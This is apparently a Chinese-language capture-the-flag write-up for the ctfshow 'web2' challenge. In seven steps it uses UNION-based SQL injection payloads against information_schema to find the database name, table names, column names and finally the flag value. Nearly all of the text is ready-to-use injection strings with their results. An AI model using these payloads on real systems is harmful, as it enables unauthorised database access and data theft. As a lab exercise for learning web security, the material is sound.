1.查当前数据库名称
' or 1=1 union select 1,database(),3 limit 1,2;#--
得到数据库名称web2
2.查看数据库表的数量
' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#--
得到数据库表数量为2
3.查表的名字
第一个表:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#--
得到表名:flag
第二个表:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#--
得到表名:user
4.查flag表列的数量
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
只有1列
5.查flag表列的名字
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
列名为flag
6.查flag表记录的数量
' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#--
只有一条记录
7.查flag表记录值
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--
得到flag
ctfshow{51b20b81-54c6-4f40-aa4c-feeefcf250fc}